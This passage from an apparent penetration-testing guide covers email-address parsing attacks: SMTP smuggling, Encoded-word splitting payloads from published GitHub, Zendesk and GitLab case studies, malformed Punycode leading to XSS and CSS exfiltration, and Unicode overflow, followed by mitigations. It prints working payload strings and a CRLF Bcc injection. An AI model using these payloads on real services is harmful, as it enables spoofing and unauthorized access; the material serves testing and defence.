Many clients emphasize the Display Name and de-emphasize the real mailbox. By itself, this technique is not “manipulation of address interpretation between web/DB layers,” but together with Domain Homograph or weak SPF/DMARC spoofing it can strengthen the deception.

In penetration testing: Report it only if the scope includes phishing/awareness or client UI assessment; do not conflate its severity with EAM Core issues (such as ATO through Encoded-word).

Example scenario: A reset-link phishing attack with a forged Display Name — the user sees "IT Support" and clicks the link.

---

5. Parser- and Mail-Infrastructure-Level Attacks: RFC and Encoding Interpretation Differences

📍 Impact stages: These techniques affect Stage 4 (Outgoing MTA) and Stage 5 (Incoming MTA). Their goal is to exploit RFC interpretation differences between email servers.

The more advanced part of Email Address Manipulation, instead of relying on plus/dot handling and simple validation, builds on interpretation differences between:

• the web application,
• the email parsing library,
• and the mailer (Sendmail, Postfix, and so on)

in the context of RFC standards, Encoded-word, Unicode, and Punycode.

5.1. Historical Protocols (UUCP, Source Routes) and Legacy Behavior

📍 Affects: Stage 4 (Outgoing MTA), Stage 5 (Incoming MTA) - Route Addressing and Source Routing are processed by MTAs and can lead to Open Relay and Gateway Bypass.

Why is it still tested in Internal Pentests?

Route Addressing and similar forms are usually rejected or neutralized by modern MTAs on the public Internet. In some internal networks with legacy MTAs/appliances or configurations compatible with old systems, they may still be accepted. The value of testing depends on observing the target's behavior, not on the default assumption that “all intranets are vulnerable.”

Modern public services (such as Gmail or Outlook.com) generally do not accept these formats. Testing priority: Internal / Legacy MTAs with acceptance signals.

When to test: Banner/MX/config shows legacy MTA; first Route/UUCP probe is accepted (not 501/reject).

When to skip: Modern public MTAs or first probe rejected — do not spend engagement time here.

5.1.1. Route Addressing (Source Routing)

⚠️ Real-World Status: This technique is now almost deprecated. According to reports and documentation, most modern MTAs (Postfix ≥ 2.10, Exim ≥ 4.90, Exchange 2013+) disable this capability by default to prevent Open Relay. Conditions for occurrence: Legacy systems, old MTAs (more than 20 years old), or upgrades performed without changing the configuration.

RFC 5321 (SMTP) provides a format for specifying the email delivery route (now deprecated):

• @host1,@host2:user@final.com

In this format, the email is first transferred to host1, then relayed to host2, and finally reaches user@final.com.

Attack scenario (theoretical): If a web application checks only the “right-side” domain (final.com), but the MTA uses the first host (host1) for delivery, an attacker can direct the email to their own server (host1) while the system believes that the email is being sent to the legitimate destination (final.com).

Practical reality (according to reports):

• On the public Internet: according to reports, nearly impossible (most modern MTAs reject it)
• In old internal networks: according to some reports, it may work on very old MTAs (more than 20 years old)
• Recommendation: Try this technique only during Internal Pentests against Legacy systems

5.1.2. Percent Hack and Bang Path (UUCP)

• Bang Path: host!user (an old UUCP-network format).
• Percent Hack: user%domainA@domainB (the email is sent to domainB, where % is converted to @ and relayed to user@domainA).

These methods may still matter in Internal Pentests against local/legacy mail servers when an acceptance signal is observed—not by default on modern public stacks.

Guidance for MTA identification and scoping: Before using Route Addressing or UUCP, you must identify the target MTA:

1. Identify the MTA through the SMTP banner:

   # Use telnet or nc
   telnet target.com 25
   # or
   nc target.com 25
   # The response usually includes the MTA name (for example, "220 mail.example.com ESMTP Postfix")
   

2. Use Nmap:

   nmap --script smtp-commands,smtp-enum-users -p 25 target.com
   # These scripts show SMTPUTF8 support or old RFC compliance
   

3. Inspect DNS MX records:

   dig MX target.com
   # MX records can show whether modern MTAs (AWS SES, SendGrid) or older MTAs (Postfix, Sendmail) are used
   

4. Initial test:

   • First send a simple probe using Route Addressing
   • If the MTA is modern (such as AWS SES), it normally returns a "501 Syntax error"
   • If the MTA is old (Postfix with the default configuration), it may accept the payload

🔒 Mitigation: According to documentation, modern MTAs (Postfix ≥ 2.10, Exim ≥ 4.90) disable Route Addressing by default. To ensure this, enable the disable_dns_lookups and smtpd_forbid_bare_newline settings.

5.1.3. SMTP Smuggling (Technical Difference from Email Header Injection)

⚠️ Real-World Status - 2025: Initially disclosed by SEC Consult (Timo Longin, 2023): SMTP Smuggling – Spoofing E-Mails Worldwide. Vendor explanation: Postfix — SMTP Smuggling. Broader measurement: Wang et al., USENIX Security 2025. Related CVEs: CVE-2023-51764 (Postfix), CVE-2024-27305 (aiosmtpd). Conditions for occurrence: End-of-Data interpretation differences between two MTAs, or an unpatched version/configuration.

Key difference: SMTP Smuggling is a relatively new attack (2023/2024) that differs from Email Header Injection (Section 3.1):

• Email Header Injection: Focuses on manipulating email headers with CRLF (%0d%0aBcc: attacker@evil.com)
• SMTP Smuggling: Focuses on differences in End-of-Data interpretation (for example, <LF>.<LF> versus <CR><LF>.<CR><LF>)

SMTP Smuggling mechanism:

SMTP Smuggling exploits an End-of-Data Sequence interpretation difference between two SMTP servers. In SMTP, the end of data is indicated by <CR><LF>.<CR><LF>. However, if one server interprets <LF>.<LF> as end-of-data while the other expects <CR><LF>.<CR><LF>, one email can be split into two separate emails.

Flow Diagram - SMTP Smuggling:

┌─────────────────────────────────────────────────────────────────┐
│                  SMTP Smuggling Attack Flow                       │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────┐
│  Attacker           │
│  Sends email with:  │
│  <LF>.<LF>          │
│  (instead of        │
│  <CR><LF>.<CR><LF>) │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 1] Outgoing MTA (Attacker's Mail Server)               │
│ • Receives: Email with <LF>.<LF>                              │
│ • Interprets: <LF>.<LF> as End-of-Data                         │
│ • Result: Email 1 sent (original)                              │
│ • Remaining: Email 2 (smuggled)                               │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 2] SMTP Relay                                           │
│ • Transmits: Both emails together                              │
│ • Format: Email1<LF>.<LF>Email2                               │
│ • Result: Single SMTP session                                  │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 3] Incoming MTA (Target Mail Server)                    │
│ • Receives: Email1<LF>.<LF>Email2                             │
│ • Expects: <CR><LF>.<CR><LF> for End-of-Data                  │
│ • Sees: <LF>.<LF> (not recognized as End-of-Data)             │
│ • Continues: Reading Email2 as part of Email1                  │
│ • Result: Email2 treated as body of Email1                    │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 4] Email Gateway / Filter                               │
│ • Processes: Email1 (from trusted source)                     │
│ • Email2 headers: Processed as part of Email1                  │
│ • Result: Email2 bypasses gateway checks                      │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 5] Final Delivery                                       │
│ • Email1: Delivered normally                                   │
│ • Email2: Smuggled email with spoofed headers                  │
│ • From: Internal domain (spoofed)                              │
│ • Result: Email spoofing successful                             │
└─────────────────────────────────────────────────────────────────┘

╔═════════════════════════════════════════════════════════════════╗
║ KEY POINT:                                                      ║
║ Outgoing MTA: <LF>.<LF> = End-of-Data                         ║
║ Incoming MTA: <CR><LF>.<CR><LF> = End-of-Data                 ║
║ Result: One email becomes two emails                           ║
║ Email2 bypasses security checks                                ║
╚═════════════════════════════════════════════════════════════════╝

Why is it important in enterprise environments?

According to some reports, old mail servers such as Postfix or Sendmail with default configurations may be vulnerable to Smuggling and allow effective email forgery (full Spoofing), not merely header injection. This technique can be used for:

• fully forging emails from internal organizational domains
• bypassing Email Gateways (such as Cisco IronPort or FortiMail)
• sending phishing emails from the trusted network

Note for enterprise environments: Many organizations use email-security solutions (Email Gateways) such as Cisco IronPort or FortiMail. Techniques such as SMTP Smuggling or Encoded-word can often bypass these Gateways because the Gateway is normally strict on inbound traffic but places more trust in internal-to-internal traffic, which is what the pentester uses.

5.1.4. Mixed Case and Whitespace in AD/LDAP Environments

Unlike the Linux file system, which is case-sensitive, and the Windows file system, which is case-insensitive, many organizational directories (such as Active Directory or legacy LDAPs) exhibit different behaviors:

• User@Domain.com and user@domain.com may be treated as two different users in an SSO system.
• A trailing space (user@domain.com ) may be ignored (trimmed) by AD, but stored as a valid character in the application's database (SQL), resulting in Account Duplication.

These techniques may not be effective against Gmail, but they are an integral part of enterprise penetration testing.

5.2. Encoded-word (RFC 2047) and Encoding Variations – Breaking the Domain Boundary with an Encoding Layer

📍 Affects: Stage 4 (Outgoing MTA) - Encoded-word is decoded in the MTA and leads to Domain Bypass and Injection.

Severity: High only with proven domain-gate bypass / injection. Library- and mailer-dependent (historical Case Studies).

When to test: Domain-restricted features + mailer/parser class similar to documented cases (e.g. Ruby Mail).

When to skip: No domain allowlisting; modern stack rejects Encoded-word in address fields on first probe.

RFC 2047 permits portions of an email to be written as an Encoded-word:

• =?utf-8?q?=41=42=43?=@example.com → after decoding becomes ABC@example.com
• =?utf-8?b?Zm9vYmFy?=@example.com → after decoding becomes foobar@example.com

Encoded-word structure:

• =? indicates the start of the encoded-word
• then the charset is specified (for example, utf-8, iso-8859-1, x)
• ? is the delimiter
• then the encoding type: q for Q-Encoding (hex with the = prefix) or b for Base64
• another ? delimiter
• the encoded data
• ?= ends the encoded-word

Flow Diagram - Encoded-word Attack:

┌─────────────────────────────────────────────────────────────────┐
│              Encoded-word Domain Bypass Flow                     │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────┐
│  Attacker           │
│  Input:             │
│  =?utf-8?q?user=40  │
│  example?=@domain.  │
│  com                │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 1] Backend Validation                                   │
│ • Parses: =?utf-8?q?user=40example?=@domain.com                │
│ • Checks domain: domain.com                                     │
│ • Validation: PASSED                                           │
│ • Result: Email accepted                                        │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 2] Email Library Decoding                               │
│ • Decodes encoded-word: user@example                            │
│ • Result: user@example@domain.com                               │
│ • Parses: user@example (local-part)                            │
│ • Domain: domain.com                                           │
│ • Result: Email split incorrectly                              │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 3] Mail Server (MTA)                                    │
│ • Receives: user@example@domain.com                            │
│ • Parses: user@example (first @)                               │
│ • Domain: example (wrong domain)                               │
│ • Result: Email sent to wrong domain                            │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 4] Domain Confusion                                     │
│ • Backend thinks: domain.com (whitelisted)                     │
│ • Mail Server sends to: example.com (not whitelisted)          │
│ • Result: Domain whitelist bypassed                            │
└─────────────────────────────────────────────────────────────────┘

╔═════════════════════════════════════════════════════════════════╗
║ KEY POINT:                                                      ║
║ Encoded-word hides @ symbol                                    ║
║ Decoding creates multiple @ symbols                             ║
║ Result: Domain confusion and bypass                            ║
╚═════════════════════════════════════════════════════════════════╝

Q-Encoding: Characters are represented as hex with the = prefix:

• =41 → A
• =40 → @
• =3e → >
• =00 → null byte

Base64 Encoding: Data is encoded as base64:

• Zm9vYmFy → foobar

Advanced combinations:

The Ruby Mail library (a widely used gem in the Ruby ecosystem; download figures change over time — it is also mentioned as a common target in Heyes's research) supports complex combinations:

• UTF-7 + Q-Encoding: The charset can be set to UTF-7 and used with Q-Encoding
• UTF-7 + Base64: UTF-7 can be combined with Base64
• Multi-layer decoding: Base64 is decoded first, then UTF-7 is decoded

Initial probes for identifying Encoded-word:

To test whether the system supports Encoded-word:

• =?iso-8859-1?q?abccollab=40psres?=@psres.net
• =?utf-8?q?abccollab=40psres?=@psres.net

Important note about Charset: Initially, the x charset is used to reduce probe size, but some systems reject an invalid charset. Therefore, it is better to use valid charsets such as iso-8859-1 or utf-8.

If we see in the SMTP conversation (RCPT TO) that abccollab@psres has been decoded, the system supports Encoded-word.

Use in the Domain Part:

In some libraries (such as Ruby Mail used in the GitHub Case Study), Encoded-word also works in the domain part, not only the local-part (which is non-standard behavior because RFC 2047 does not permit use in the domain part).

Comparison of different libraries:

Encoded-word behavior differs among libraries. This comparison is based on available reports and Case Studies:

• Ruby Mail: In the GitHub Case Study (Heyes research - PortSwigger), this library accepted Encoded-word in the domain part
• PHPMailer: In some implementations, rejects Encoded-word in the domain part
• SwiftMailer (PHP): In some implementations, rejects Encoded-word in the domain part
• Nodemailer (Node.js): In some implementations, rejects Encoded-word in the domain part
• Go net/mail: In some implementations, rejects Encoded-word in the domain part

Penetration-testing note:

• First test with a simple probe (=?iso-8859-1?q?abccollab=40psres?=@psres.net)
• If the system accepts Encoded-word in the domain part, it may use Ruby Mail or similar libraries
• If it rejects it, it may use PHPMailer or other libraries
• Note: This behavior depends on the library configuration and version - always test it

If:

• the web application makes a security decision (such as checking the domain) on the raw string (without decoding),
• but the Mailer or parsing library decodes and uses this Encoded-word,

it becomes possible to separate the domain seen by the security system from the domain to which the email is actually delivered.

5.2.1. Case Study: GitHub and Cloudflare Zero Trust (Gareth Heyes - PortSwigger Research)

In Gareth Heyes's research titled "Splitting the Email Atom," published by PortSwigger:

Source: PortSwigger Research - Splitting the Email Atom

• In this Case Study, GitHub used the Ruby Mail library to parse email;
• this library decoded Encoded-word;
• by combining Encoded-word, Null, and characters such as >, it became possible to construct a string that:
  • was verified by GitHub as an email from valid domains such as microsoft.com, mozilla.com, and github.com,
  • while actual control remained with the attacker.

GitHub attack chain:

Encoded-word Input (=?x?q?=40=3e=00?=foo@example.com)
  ↓
Ruby Mail Decode (decodes to: @>null)
  ↓
Email Split (@ causes the split)
  ↓
SMTP Command Termination (> terminates the RCPT TO command)
  ↓
Null Byte Ignore (the null byte causes the remainder to be ignored)
  ↓
Domain Verification Bypass (GitHub sees the domain as valid)
  ↓
Cloudflare Zero Trust Access (access to the protected network)

Exact GitHub payload:

=?x?q?=40=3e=00?=foo@example.com

• =?x?q? → starts an encoded-word with charset x and Q-Encoding (note: charset=x is invalid under RFC 2047 and should be utf-8 or iso-8859-1, but in this Case Study the Ruby Mail library accepted it. x is used to reduce probe size, but some systems reject invalid charsets)
• =40 → decodes to @
• =3e → decodes to >
• =00 → decodes to a null byte
• foo → a valid local-part to pass validation
• @example.com → the apparent domain

Mechanism:

1. =40 (which is @) causes the email to split
2. =3e (which is >) terminates the RCPT TO command in the SMTP conversation
3. =00 (null byte) causes the mailer to ignore anything after it
4. foo is required to pass validation

Result (according to the Heyes report): In this Case Study, GitHub verified the email as microsoft.com, mozilla.com, and github.com, while actual control remained with the attacker.

Use in Cloudflare Zero Trust (according to the report):

• In this Case Study, these apparently corporate emails were used in Cloudflare Zero Trust (which can use GitHub as an IdP) to gain access to protected networks.

5.2.2. Case Study: Zendesk and GitLab Enterprise

Source: These Case Studies were also extracted from the "Splitting the Email Atom" research (PortSwigger Research).

Zendesk (according to the Heyes report - PortSwigger):

In this Zendesk Case Study, using two Collaborator domains was useful for observing transformations:

Input:

=?x?q?=41=42=43collab=40psres.net=3e=20?=@psres.net

Output in SMTP (RCPT TO):

RCPT TO:<"ABCcollab@psres.net> "@psres.net>

This shows that:

• the system accepts uppercase
• it accepts converted spaces
• it quotes values that are normally not allowed in the local-part

Final Zendesk payload: Use encoded quotes that are decoded, and =3c22, which produces < and is removed so that the quote is completed. =3e=00 is the same sequence as GitHub, indicating that they share code.

GitLab Enterprise (according to the Heyes report - PortSwigger):

In this GitLab Enterprise Case Study (with the Postfix mailer), use an underscore (_) instead of a space:

Payload:

=?x?q?=40psres.net=5f?=@psres.net

• =40 → @
• =5f → _ (underscore)
• =20 (space) can also be used, but underscore is one character and more elegant

GitLab Web App (according to the report):

In this GitLab web app Case Study (with a different mailer), a valid charset and a space instead of null were required:

Payload:

=?iso-8859-1?q?=40psres.net=20?=foo@psres.net

• a valid charset was required (iso-8859-1 instead of x)
• a space (=20) was required instead of null (=00)

In these Case Studies (Zendesk and GitLab Enterprise), combining Encoded-word with:

• Q-Encoding,
• Base64,
• UTF-7 and spaces,

made it possible to create Email Splitting and bypass the “only specific domains” limitation; such that:

• a user without a real organizational email could access resources reserved for specific domains in the Support Center or GitLab Enterprise.

PHPMailer (according to reports):

In some reports, PHPMailer (unlike Ruby Mail in the GitHub Case Study) does not parse Encoded-word in the local-part or domain part, but decodes it in the name part (outside the email address):

Example:

=?utf8?q?=61=62=63?=<collab@psres.net>

• It requires angle brackets (<>)
• This can fail validation in applications such as WordPress
• But Encoded-word in the name part has XSS potential

For Bug Hunters, this class of attack shows that only looking at an email regex is insufficient; they must also understand how email libraries and mailers are used throughout the chain.

5.2.3. UTF-7 Encoding in Encoded-word (RFC 2047)

Feature: UTF-7 is an encoding for representing Unicode characters in 7-bit environments. UTF-7 is used only in the Encoded-word format (RFC 2047), not as direct input.

Test example:

• =?utf-7?q?user+AC0-domain?=@example.com (UTF-7 in Encoded-word)
• +AC0- → @ (UTF-7 encoded)
• after decoding → user@domain@example.com

Mechanism:

• UTF-7 uses + to start a sequence and - to end it
• In Encoded-word: =?utf-7?q?encoded-text?=@domain.com
• This technique is explained in detail in Section 5.2 (Encoded-word)

Practical test examples:

=?utf-7?q?user+AC0-domain?=@example.com
=?utf-7?b?dXNlckBkb21haW4=?=@example.com
=?utf-7?q?user+AC0-domain+AC0-test?=@example.com

Abuse:

• Email Equivalence: multiple different addresses reach one inbox
• Domain confusion: use UTF-7 in the domain part to bypass filters

Important note:

• UTF-7 works only in Encoded-word (RFC 2047), not in direct input
• This technique has succeeded in libraries such as Ruby Mail, used in the GitHub Case Study (Heyes research - PortSwigger)
• Testing requires the Encoded-word format

5.3. Malformed Punycode and Moving from Email to XSS (and, in Specific Chains, Increasing Impact)

📍 Affects: Stage 4 (Outgoing MTA) - Malformed Punycode in vulnerable parsers can lead to XSS; in some multistage chains, the impact may be amplified.

⚠️ Real-world status: Malformed Punycode → unexpected characters is behavior/a bug in an IDN library (seen in Heyes's research on a PHP IDN-based converter), not an inherent weakness of the Punycode protocol and not the same GitHub Case Study (Encoded-word + null in Ruby Mail).
CVE-2024-21725 is separate: XSS due to inadequate escaping of mail addresses in Joomla output — not a “Punycode protocol CVE.” Do not conflate these. Expect success against a target only with the relevant unpatched version/library.

When to test: Only after evidence of a vulnerable IDN converter in the path (or matching research setup).

When to skip: Patched IDNA libraries; first malformed probes produce no unexpected characters — stop.

Punycode is used to represent Unicode domains in DNS;
domains such as:

• xn--mnchen-3ya.com → münchen.com

Punycode mechanism:

Punycode always begins with xn--, followed by hyphens and alphanumeric characters. The Punycode algorithm is complex, and changing one character can alter the entire output:

• foo@xn--mnchen-2ya.com → foo@ümnchen.com
• foo@xn--mnchen-3ya.com → foo@münchen.com
• foo@xn--mnchen-4ya.com → foo@mnüchen.com
• foo@xn--mnchen-5ya.com → foo@mncühen.com

Malformed Punycode (Library-Level Bug):

In some problematic IDN implementations (for example, some old PHP bindings):

• specific Punycode strings (or Punycode that decodes to invalid characters) produce unexpected characters such as ,, ;, <, @, and so on during decoding.

⚠️ Important note: This is a library bug, not an inherent weakness of the Punycode protocol. If the library has been patched, this attack does not work.

Exact Malformed Punycode examples:

• x@xn--42 → x@,
• x@xn--024 → x@@
• x@xn--694 → x@;
• x@xn--svg/-9x6 → x@<svg/
• x@xn--svg/-f18 → x@<svg/
• x@xn--svg/-fq1 → x@<svg/

Discovering Malformed Punycode:

Key note: Using two zeros at the beginning of Punycode (xn--00XX) produces unexpected characters. Gareth Heyes made this discovery in an online Punycode converter that used the PHP IDN library.

For the EAMG tool: The tool must generate precisely those malicious Punycode values (such as xn--00XX), not arbitrary Punycode. These specific Punycode values turn into dangerous characters (<, >, @, ;).

Using two zeros at the beginning (xn--00XX) can generate unexpected characters:

• psres.net.com.xn--0049.com.psres.net → psres.net.com.,.com.psres.net (comma)
• foo@xn--0117.example.com → foo@@.example.com (two @)

If:

• the web application escapes the user's email before decoding it,
• but uses the same value in HTML or elsewhere after decoding,

the attacker can:

• choose a specific Punycode subdomain to turn the email domain part into something like <style> or <svg;
  • and thereby create CSS Injection or XSS in the administrative UI (for example, the user-list page).

Regarding CVE-2024-21725 (Joomla):

Report: According to NVD and Joomla Security Centre: Inadequate escaping of mail addresses → XSS in email-address output (CWE-79). Approximate CVSS in ADP: 6.1 (Medium). This CVE is not by itself a “Punycode protocol bug”; the issue is escaping in mail-address output. Do not conflate the separate malformed-Punycode paths in specific parsers (Heyes research) with this CVE.

Attack Chain:

• Using a specific Punycode domain caused the email portion to become <style>;
• the attacker used the username field to inject an @import of a malicious stylesheet;
• this CSS extracted the administrator's CSRF token using CSS Exfiltration;
• and finally used this token to modify the backend template in a way that enabled command execution (for example, cat /etc/passwd).

Important note (Prerequisites): This attack chain is executable in environments that lack strict Content Security Policy (CSP) enforcement and embed CSRF tokens in resources that can be fetched or resolved through styles (such as fonts or images), as seen in multiple legacy CMS deployments.

⚠️ Explanation: CVE-2024-21725 is only XSS by itself, but can lead to RCE in specific environments (without CSP and with an exfiltratable CSRF token). This is an attack chain, not a direct RCE bug.

🔒 Mitigation: To prevent Punycode → XSS/RCE, use up-to-date IDNA libraries (such as idna in Python ≥ 3.7 or idna in Node.js). Also enforce CSP strictly and do not place CSRF tokens in resources fetchable through CSS.

Note: the power of CSS-only data leakage
In attack chains such as Joomla, once we have succeeded in injecting a valid <style> into the page, our toolkit is not limited to JavaScript; modern research on CSS Injection has shown that, by combining capabilities such as:

• Attribute Selectors (CSS attribute selectors) (such as [value^=\"A\"], [value$=\"Z\"]), which generate separate HTTP requests (for example, for a font or image) for different letters,
• @font-face with unicode-range to determine the presence or absence of a specific character in text (each character → a separate external request),
• Font ligatures + pseudo-elements such as scrollbar to turn multi-character combinations into a “very wide” glyph and detect its presence from the UI appearance (for example, the appearance of a horizontal scrollbar),
• and chaining @import to create a recursive process that loads the next stylesheet after each portion of data leaks,

sensitive information can be extracted without executing even one line of JavaScript; including:

• CSRF tokens,
• session tokens embedded in the DOM,
• or sensitive values in attributes and text nodes.

Therefore, in Punycode/Encoded-word scenarios that result in CSS Injection, CSS should not be considered merely a harmless “injected style,” but a complete data-exfiltration machine that can be the final stage before higher-level exploits (including RCE).

5.4. Unicode Overflow in Email Parsers

📍 Affects: Stage 4 (Outgoing MTA) - Unicode Overflow in the MTA parser produces sensitive characters.

Severity: Conditional and runtime-specific. Do not report High without a demonstrated dangerous character / Impact chain.

When to test: Confirmed vulnerable encoding path (e.g. context-specific chr() / mod-256 behavior) after a positive probe.

When to skip: Modern runtimes with no overflow-to-byte path; first probes yield no @/</> leakage — do not escalate.

One advanced idea, well demonstrated in recent research, is to use Unicode Overflow to produce characters blocked in the original input; particularly @, <, >, ;, and other sensitive characters. In this context, "Unicode Overflow" refers to inconsistencies caused by normalization and buffer-truncation effects, not arithmetic-overflow conditions. In some languages and libraries (for example, when algorithms similar to PHP's chr() are used to convert a code point to a byte), inputs with code points greater than 255 are converted to a single byte with the modulus (mod 256) operator.

PHP chr() mechanism:

Technical note: This behavior depends on the context in which chr() output is used (binary string vs. header encoding). In PHP 7+ with binary-safe strings, this behavior differs across contexts.

The chr() algorithm in PHP (in specific contexts) works as follows:

# Pseudocode for PHP's chr() algorithm (context-specific)
def chr_algorithm(codepoint):
    # If negative, add 256 until it is positive
    while codepoint < 0:
        codepoint += 256
    
    # Modulus to fit in the 0-255 range
    return codepoint % 256

# Example:
chr_algorithm(0x100 + 0x40)  # 256 + 64 = 320
# 320 % 256 = 64 = '@'

• If the value is less than zero, it adds 256 until it becomes positive
• It then performs the modulus operation so the value falls within the 0-255 range
• Important: This behavior occurs only in specific contexts (for example, header encoding or legacy parsers)

Exact Unicode Overflow examples:

Important technical note: String.fromCodePoint() in JavaScript does not directly perform mod 256 and outputs a UTF-16 string. Mod-256 behavior occurs only when the string is converted to bytes in a subsequent layer (for example, in C/C++ parsers or legacy Ruby Mail). These examples assume that the examined target converts the string to bytes during parsing:

• String.fromCodePoint(0x100 + 0x40) → ŀ, which is converted to @ (0x40) at the byte-cast layer
• String.fromCodePoint(0x1000 + 0x40) → ၀, which is converted to @ (0x40) at the byte-cast layer
• String.fromCodePoint(0x10000 + 0x40) → 𐁀, which is converted to @ (0x40) at the byte-cast layer

You can use values from 0x100, 0x1000, 0x10000 up to 0x10ffff (the maximum Unicode code point).

Exact examples of Emoji to dangerous characters:

Important note: This behavior was observed in a specific (unnamed) target whose parser handled Unicode in a particular way. This behavior is not the same in all systems and is target-specific behavior.

⚠️ Important note: The examples below (such as ✨ → '(') are based on a specific, target-specific parser (from Heyes research). This behavior succeeded in that Case Study in some libraries (such as Ruby Mail, used in the GitHub Case Study), but may not work in other libraries (PHP 7+ with PHPMailer, Python 3+, Node.js with Nodemailer) that use Unicode-aware string handling. These examples are useful for understanding the Unicode Overflow mechanism and can be tested on systems that use similar libraries.

The following conversions were observed in one particular tested target. Note: The format '✨' === '(' means that after performing mod 256 on the emoji character's code point, the result equals the ASCII character on the right (not that the characters themselves are equal):

• ✨ → mod 256 → 0x28 → '(' (that is, ✨.codePointAt(0) % 256 === 0x28) - works in Ruby Mail and specific parsers
• ✩ → mod 256 → 0x29 → ')' (that is, ✩.codePointAt(0) % 256 === 0x29)
• ✻ → mod 256 → 0x3b → ';' (that is, ✻.codePointAt(0) % 256 === 0x3b)
• ✼ → mod 256 → 0x3c → '<' (that is, ✼.codePointAt(0) % 256 === 0x3c)
• ✽ → mod 256 → 0x3d → '=' (that is, ✽.codePointAt(0) % 256 === 0x3d)
• ✾ → mod 256 → 0x3e → '>' (that is, ✾.codePointAt(0) % 256 === 0x3e)
• ❀ → mod 256 → 0x40 → '@' (that is, ❀.codePointAt(0) % 256 === 0x40)

Check:

// Mod each code point by 256
'❀'.codePointAt(0) % 256 === 0x40
String.fromCodePoint(0x40)
// @

For example, if:

• a character with code point 0x100 + 0x40 (that is, 256 + 64) is produced,
• the system converts this value to a byte somewhere in the processing path,

the output is byte 0x40, which is @. Using the same logic, sequences can also be constructed for other characters that become (, ), ;, <, =, and so on after overflow. The result is:

• the application's initial layer accepts these “safe” Unicode characters,
• but at a later layer (for example, when normalizing or creating a header/address), they are converted into dangerous bytes.

In practice, Unicode Overflow alone does not always cause Email Splitting or domain changes. According to Gareth Heyes's report in PortSwigger research, although this technique produced blocked characters, it could not perform email splitting this way. This technique is more useful for generating blocked characters than for direct email splitting.

⚠️ Important note: Unicode Overflow alone usually does not work. This technique must be combined with Encoded-word or Punycode to create real risk. The purpose of Unicode Overflow is to generate blocked characters (such as @, <, >) in the next processing layer, not direct email splitting.

Use:

• It is a powerful tool for generating blocked characters in the next layer,
• especially when combined with Encoded-word or Punycode, with the goal of constructing strings that become their final exploitable form only after multiple decode/normalize stages.

Practical limitations of Unicode Overflow:

Mod-256 Unicode Overflow on code points normally does not occur in modern web applications with Unicode-oriented string handling. This behavior is target-specific (seen in Heyes research on specific parsers) and should not be treated as a common web bug.

When Unicode Overflow actually works:

• In Legacy systems with old C/C++ code that use chr() or its equivalent
• In email parsing libraries that manually perform byte manipulation
• In embedded or IoT systems with memory limitations
• In custom implementations that perform normalization incorrectly

In different environments (according to reports and Case Studies):

• Ruby Mail: In Heyes research on targets related to this library, unexpected encoding/overflow behaviors were observed — verify version and configuration separately
• PHP 7+ with PHPMailer: According to reports, uses Unicode-aware string handling and normally does not work
• Python 3+: According to reports, uses Unicode-aware string handling and normally does not work
• Node.js with Nodemailer: According to reports, uses Unicode-aware string handling and normally does not work
• Legacy C/C++ libraries: Vulnerability has still been observed in some reports

🔒 Mitigation: Use Unicode-aware libraries and never use chr() or its equivalent to convert a code point into a byte. In embedded or IoT systems, use safe normalization libraries.

5.5. Defensive Measures (Defence & Mitigation)

To prevent Email Address Manipulation attacks, the following principles are essential:

5.5.1. Disable Encoded-word in Parsing Libraries

Primary recommendation: When using email parsing libraries, disable the "encoded-word" feature. This feature is enabled by default in many libraries (such as Ruby Mail, used in the GitHub Case Study) and can lead to Email Splitting. Important note: In the GitHub Case Study (Heyes research - PortSwigger), this technique succeeded.

⚠️ Important warning: Never parse or filter email using Regex. This is a golden rule in security. Simple Regexes (such as =[?].+[?]=) are easily bypassed (for example, with line breaks or Encoding changes). Using Regex to prevent a complex attack such as SMTP Smuggling or Email Splitting creates a new vulnerability itself.

Correct approach:

• Do not use Regex
• Update your parsing library to the latest version
• If your library has a flag to disable allow_encoded_word_in_address, enable it
• If your library does not have this capability, change the library
• Use standard, strict email parsing libraries that correctly handle RFC 2047

5.5.2. Strict Validation of Email Addresses

Important: Always validate email addresses, even when they come from SSO providers such as GitHub, Google, or Microsoft. As observed in the GitHub Case Study, even emails verified by an IdP can be spoofed.

Approach:

• Use Email Verification (sending a verification link) as the sole source of truth
• Never trust merely “having an email”
• Always check the email_verified status

5.5.3. Do Not Use the Email Domain as the Only Authorization Method

Problem: Using the email domain as the only method of determining access (Access Control) is highly dangerous because, as shown in this article, email domains are easily spoofed.

Approach:

• Never use the email domain as the only authorization method
• Use a combination of multiple factors (Multi-factor) to determine access
• Use Email Verification + Domain Whitelist + other security factors

5.5.4. Canonicalization and Normalization

⚠️ Important warning: Normalization is a double-edged sword. Over-normalization leads to identity collisions, while under-normalization leads to filter bypasses. “Normalization” itself is the root of half the vulnerabilities in this article!

Example of the over-normalization risk:

• If a system converts User@Example.com to user@example.com, it prevents a bypass
• But if it converts café (NFC) to cafe (ASCII), it opens the way to Account Takeover (Technique 1.7)

Correct strategy:

• Send verification to the email exactly as the user entered it
• Store the same string (canonicalized by the standard Mail Server)
• Use standard canonicalization libraries that correctly implement RFC 5321/5322

Key principles:

1. Canonicalization: Normalize the email before storing or comparing it:

   • Convert all letters to lowercase
   • Remove comments
   • Convert Punycode to ASCII
   • Handle Plus addressing and Dot addressing (if required)

   Policy note for Plus/Dot Addressing: Decide whether to strip Plus/Dot addressing:

   • Strip: user+tag@example.com → user@example.com (to prevent abuse and rate-limit bypass)
   • Keep: user+tag@example.com → user+tag@example.com (if you need subaddressing, such as Gmail)
